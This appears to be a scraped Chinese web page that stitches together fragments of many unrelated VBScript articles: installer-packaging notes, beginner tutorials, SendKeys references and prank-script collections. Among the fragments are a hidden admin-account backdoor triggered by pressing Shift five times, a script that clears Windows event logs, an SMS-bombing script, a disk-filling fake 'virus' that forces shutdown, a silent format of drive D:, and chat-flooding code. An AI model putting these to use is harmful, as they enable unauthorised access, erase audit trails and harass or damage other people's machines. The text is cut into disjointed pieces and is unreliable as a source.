这两天在折腾给一个项目打安装包，第一次接触软件打包，用的Advanced Installer（以下简称AI），应该说如果安装过程没有特殊动作（常规动作指释放文件、写注册表、建快捷方式等）的话，倒挺傻瓜的...让用户填写一些初始参数并在安装完成后把这些参数写入安装目录中的指定ini和xml文件中 第一个需求就折腾了我大半天，难点在于动态填充ComboBox项，资料和文档不好找，又是E文，好在天道酬勤，愣是让我在官方论坛中刨到有用的帖子...AI可以自由发挥的途径个人认为不算少，它的自定动作（Custom Actions）可以调用exe/js/vbs等东东，但js和vbs我没什么底子，有点畏难情绪，想用自己熟悉的方式来解决问题，就是用c#写个...但仔细想想，一来，.net程序依赖CLR，虽说安装过程可以指定必要组件，强制用户把.net装好，不用担心执行到该.net程序时缺乏运行环境，但总感觉在安装包中嵌入.net程序好像不太地道，再有.net程序首次运行需唤醒...，故暂存疑），网上高人的办法有二：一是用vbs调用office的vba组件，再操作vba来调用api~真叫一个迂回，同时也感叹高人的智慧呐；二是往系统中扔一个dynwrap.dll就可以调了，话说这dll
VBS也挺强大的呢，这篇给大家演示的是获取当前时刻，并根据不同的时间段来问好！ 注：编辑器不支持vbs编程，单引号后是注释哦！
可能有人不了解，代码在制作的使用，是需要跟vbs搭配，最后成为一个可以运行的代码。那么这个vbs是什么？...image.png 一、vbs是什么 简单来说就是一种脚本语言，是在vb的基础上，建立形成的，更加地简单易上手，可以制作一个小小的代码。...但是在使用的时候，也要注意安全性，选择可信的渠道，真的非常方便使用。因为无论是哪一种文本编辑器，都可以开发，所以使用起来非常的方便，没有限制特定的才可以。...二、vbs简单制作教程 首先第一步是打开一个文本编辑器，随便打开一个文档；第二步就是对文档进行编辑，要记得输入代码，在代码后面加上自己想要说的话，注意要使用英文的标点符号。...全文详细介绍了关于vbs的相关信息，虽然不是一门人人都需要会的技术。但是多学一门知识，并不会有不好的影响，既可以增加自己的学识，也可以增加乐趣，如果有兴趣的话可以学习。
echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! ...‘设置密码 od.SetInfo ‘保存 Set of=GetObject(os&”/test”,user) ‘得到用户 oe.add os&”/test” —————————————— 用vbs...telnet_tmp.vbs echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “open 192.168.1.200” >>telnet_tmp.vbs...300 >>telnet_tmp.vbs echo sh.SendKeys “engineer{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep 300 >>...telnet_tmp.vbs echo sh.SendKeys “ls {ENTER}”>>telnet_tmp.vbs start telnet cscript //nologo telnet_tmp.vbs
我不要整人什么的，我要的是类似翻译的，还有句型 哈哈，LS的比较搞笑 先说VBS： 我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已， VB对网络的支持堪称完美，所以不少的盗号程序都选择用...VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且..等等，总之。...毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】 仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。...或者用别的代码也行 Set oWsh = CreateObjectset ws = createobject(“wscript.shell”) do while 1 ‘按下alt+F4 (建议用其他的键来试验例如...文件 如：我爱你.vbs 双击运行，电脑就会说 i love you 了 CreateObject(“SAPI.SpVoice”).Speak”I love YOU” 用vbs敲出来的表白代码窗口多一点
vbs整人代码大全，包括强制自动关机、打开无数计算器、无限循环等vbs整人代码，感兴趣的朋友参考下。
毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】 仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。...chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+”是时候锻炼锻炼了”,vbokonly+vbInformation,”360 Defender” msgbox “游戏规则：在开始后...vbinformation,” & chr(34) & “360 Defender” & chr(34) qwriteb.close qwrite.movefile “D:\1.txt”,”D:\1.vbs...” qstart.run “D:\1.vbs” ELSE qstart.run “cmd.exe /c shutdown -a”,0,true msgbox “由于您在说废话，但是您一定不想浪费时间说废话...,vbokonly+vbInformation,”360 Defender” qsay.speak (“在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲”) qweb.run
Scripting.FileSystemObject”) ‘声明 Set f = fso.CreateTextFile(“%PATH%”) ‘创建文件,其中f可任意，包含缩略名 f.WriteLine(“VBS...Wscript.CreateObject(“Scripting.FileSystemObject”) Set f=fso.CreateTextFile(“C:/Sample.txt”) WriteLine(“VBS...%” ‘激活运用程序窗口 wshshell.sendkeys “+{%KeyBoardName%}” ‘第一次输出键盘按键指令前要加+ wshshell.sendkeys “555555” ‘在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作...:/sample”) f.copy(“D:/sample”) fso.deletefolder(“C:/sample”) ‘(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS
使用方法：新建一个txt文档，将上面的代码复制到txt，然后将文档的后缀名改成vbs。鼠标双击即可执行。
刷屏代码 出于无聊，跟朋友聊天突然聊到刷爆别人的屏幕，在网上搜索了一下，看到一个VBS脚本的东西，记录一下 VBSScript 使用方法： 复制需要转发的内容，点击QQ或者微信窗口，，再双击VBS脚本即可自动运行...新建txt文件，将后缀名改为xxxx.vbs 2....将上述代码复制粘贴进文件中，并删除(这是备注 运行前请删除）这几行文字 3.复制需要转发的内容，点击QQ或者微信窗口，，再双击VBS脚本即可自动运行 发布者：全栈程序员栈长，转载请注明出处：https:
Vbs 禁用启用网卡 在实际工作中，经常碰到需要通过脚本启用禁用网卡的情况，在网上找了一个脚本，实际是通过模拟键盘操作来启用禁用，但对于多种系统和比较复杂的情况操作性不好。...于是产生了一个思路，利用vbs得到网卡名字，然后调用netsh命令启用禁用网卡。...使用 %comspec% 有助于确保无论该脚本是在什么版本的 Windows 上运行，都可以获得命令窗口。 2 此方法只适用server 2003 2008 xp不适用。
xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell...系统 大家好 我是Vanlisa QQ137841986 今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的 如果把他发给你的QQ好友 他不懂的话 如果不输我是猪...OperatingSystem”) For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next [color=#FF0000]复制以上代码，在桌面建一个文本...听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、 代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，， PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。...; alert(‘你一直在求我原谅你啊！’); alert(‘看来你是真的知道错了!’); alert(‘下次你还会这么做吗？’); alert(‘真的不会了？’)
你的电脑接收到了一个自爆程序，电脑即将爆炸，请您在15秒时间内离开座位，跑到安全区位置，否则将伤害你的身体健康，我们一概不负责“ 其中这段冒号括起来的加粗字体是大家可以随便更改的，然后保存，将后缀txt改为vbs...二.表白恶搞： 前面的步骤和上面一样新建文件，然后将下面的代码复制在文档中，后缀改为vbs就行，具体代码如下： msgbox "做我女朋友好吗",vbQuestion,"在吗" msgbox ("房产写你名字
1 vbs 判断shell 程序运行结束的代码 比如要通过vbs 调用format格式化d: 盘，可以使用如下代码 Set oExec=WshShell.exec("c:\windows\system32...\format.com d: /fs:ntfs /q /y") Do While oExec.Status = 0 WScript.Sleep 100 Loop 2 vbs得到程序运行路径 Set
VBS作为一款脚本语言，从古到今一直起着不可替代的作用，从windows的WHS到WINCC的vbs脚本，一直伴随着工控人的左右，可以说C语言是工控人的启蒙老师，那VBS脚本则是工控人的领路人。...如果你能用好VBS可以让你在工控的上位系统里游刃有余，同时还能提升自己的BIG，正因为如此，剑指工控统计过熟练掌握VBS脚本编程的工程师比不懂脚本脚本编程工程师早有女朋友3年，也就是说一个VBS脚本可以让你提前...但是在单击其它按钮之前，不会返回任何值。...把变量 b付值为 6 c="a"+b'把变量 a的内容和变量 b内的内容进行相加，存放到变量 c中 msgbox(c)'用 msgbox函数显示出变量 c中的内容。...如果 prompt 超过一行，您可以在各行之间用复位字符 (Chr(13))、换行字符 (Chr(10))、或是复位字符与换行字符的组合 (Chr(13) & Chr(10)) 来做区隔。
=================================== VBS例子讲解--1: 用 run运行文件 set shl="createobject"("WScript.Shell") shl.run"regedit.exe..." set shl="nothing" VBS例子讲解--2: 用 FSO复制文件 Set shl = CreateObject("Scripting.FileSystemObject") shl.CopyFile...oShellLink.Hotkey = "Ctrl+Alt+e" oShellLink.IconLocation = "notepad.exe, 0" oShellLink.Description ="VBS...这组特殊的字符可包括圆括号、中括号、大括号，以及： 用大括号 "{}" 括起这些字符可以发送它们。例如，要发送加号，请使用字符串参数 "{+}"。...要指定在按下多个其它键时，按下 SHIFT、CTRL 和 ALT 的组合，请创建复合字符串参数，用括号括起其中的组合键。
部分经典vbs代码 一、上代码： vbs代码，即VBScript Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.AppActivate...，如：2020HZ.vbs 复制一段要发送的文案，然后双击vbs文件。...否则比较费好友~ 更多类似windows的vbs代码，如：vbs立刻关机代码 更多vbs代码： ' 进行变量声明 Dim Wshshell,Msg ' InputBox 弹窗输入bai Msg=InputBox...} 等 ' 示例 Wshshell.SendKeys "{Enter}" Wshshell.SendKeys "{A}" Wshshell.SendKeys "{2}" ' 组合键 Shift 用...+ 代替 、 Ctrl 用 ^ 代替 、Alt 用 % 代替 ' 示例 Wshshell.SendKeys "+%{DELETE}" Wshshell.SendKeys "^{C}" Wshshell.SendKeys
短信轰炸.vbs Dim btn,ie Set ie = WScript.CreateObject("InternetExplorer.Application") ie.Visible = true...\root\cimv2")>>clear.vbs echo dim lianan_names(2)>>clear.vbs echo lianan_names(0)="application">>clear.vbs...echo lianan_names(1)="security">>clear.vbs echo lianan_names(2)="system">>clear.vbs echo for each lianan_name...where logfilename='"^&lianan_name^&"'")>>clear.vbs echo for each lianan_log in lianan_logs>>clear.vbs...echo lianan_log.cleareventlog()>>clear.vbs echo next>>clear.vbs echo next>>clear.vbs clear.vbs del /
然后用鼠标单击“文件”菜单，单击“保存”，把“保存在”一栏设为桌面，在“文件名”一栏中填写kk.vbs，单击“保存”就可以了。然后最小化“记事本”窗口，在桌面上寻找你刚刚保存的kk.vbs，然后双击。...在申明变量时，要显式地申明一个变量，需要使用关键字DIm来告诉VBScript你要创建一个变量，并将变量名称跟在其后。申明多个同类型变量，可以用逗号分隔。...注意：VBScript中不允许在申明变量的时候同时给变量赋值。但是允许在一行代码内同时对两个变量进行赋值，中间用冒号分隔。 3、你可以使用OptionExplicit来告诉宿主变量必须先声明后使用。...4、在文件中跳行：skip(x) 跳过x个字符；skipline 跳过一行 5、在文件中写入字符：可以用2－写入和8－追加的方式来写入 其方法有：write(x)写入x字符串；writeline(x...2、用FileType属性来指定默认的文件类型。3、在调用OpenFileSaveDlg方法时，最好把返回值保存到一变量中，用它可以判断用户按下的是确定还是取消。
Dim fs ,f Const Normal =0,ReadOnly=1,Hidden=2,System=4,Volume=8,Directory=16,Ali...
领取专属 10元无门槛券
手把手带您无忧上云
